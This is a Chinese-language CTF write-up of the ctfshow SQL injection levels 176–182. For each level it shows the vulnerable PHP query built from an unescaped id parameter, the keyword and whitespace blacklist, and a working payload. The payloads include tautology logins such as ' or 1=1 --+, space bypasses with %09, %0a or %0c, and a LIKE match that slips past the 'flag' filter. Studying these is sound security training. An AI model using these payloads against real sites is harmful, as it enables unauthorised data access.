ctfshow web入门 sql注入 176-182
176 - 182 简单注入(可以不用联合注入、盲注等方法,可以使用,但不建议)
重点:
1、了解万能密码的原理
2、了解空格绕过
3、了解精确查询与模糊查询
web176
web176 — web180 页面都一样,因此不贴出相应的代码,只给黑名单与payload
web176 — web180 的黑名单全靠手测,若有遗漏还请指正
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; //对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
payload
--万能密码变种 ' or username='flag' --+ --万能密码 ' or 1=1 --+
web177
黑名单:空格、+
知识点
空格替代:%20(普通空格)、%09(水平制表符)、%0a(换行符)、%0b(回车符)、%0c(新一页)、%0d(垂直制表符)、%a0
()、``
注释符:--、#(%23)、/**/
payload
-1'%09or%091=1%23
web178
黑名单增加:%20、*
payload
-1'%0aor%0ausername='flag'%23
web179
黑名单增加:%09、%0a、%0b、%0d
猜测使用 trim()
因为 %09、%0a、%0b、%0d 都无法使用,trim() 正是去除这些字符的
payload
-1'%0cor%0cusername='flag'%23
web180
黑名单增加:#
payload
--万能密码变种 --这种方式只显示 id=1 的数据,因为源代码中还有 limit 1(只显示一条数据) -1'or%0c'1'='1 -1'or%0cusername='flag
web181
//拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; //对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str); }
黑名单增加:file、into、select
禁用文件、查询
payload
同web180
web182
//拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; //对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str); }
黑名单增加:flag
知识点
模糊查询(like)
payload
-1'or%0cusername%0clike%0c'%fl%